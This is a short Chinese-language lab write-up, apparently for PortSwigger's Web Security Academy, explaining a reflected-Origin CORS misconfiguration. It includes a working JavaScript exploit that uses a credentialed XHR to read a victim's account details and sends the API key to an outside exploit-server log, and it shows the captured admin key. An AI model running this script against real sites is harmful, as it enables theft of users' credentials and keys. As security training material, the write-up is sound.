# CORS Lab1
本題是基本反射型 Origin 信任漏洞,一樣先進入網站。

我們在登入帳號的時候,可以看到 API key 是透過 AJAX (XHR) 請求資料的,而且回應長這樣:

用 Repeater 把這個 request 重送一次,加上這個 header:
```
Origin: https://example.com
```
看回來的 response headers 有沒有這兩個:
```
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Credentials: true
```
有的話就代表:你可以從別的網站透過 JS 把它抓下來。

顯然是有的,所以寫一個 JS 在 Exploit Server 執行,進行跨站盜資料。
```html
<script>
var req = new XMLHttpRequest();
req.onload = function() {
// 這裡會把 response 資料塞進 URL 然後跳轉
location = 'https://exploit-0ae900fa03caa8c08049709c01fe0028.exploit-server.net/log?key=' + this.responseText;
};
req.open('GET', 'https://0a0e0059032ea8c6805f71b300670000.web-security-academy.net/accountDetails', true);
req.withCredentials = true; // <<== 關鍵,這樣會帶上 victim 的 cookie
req.send();
</script>
```

到 log 中,可以看到一團東西裡的 admin key。

```
h9blifsvBO3jjTF5tn3AMWL3ikqhuWnw
```
拿去提交。

---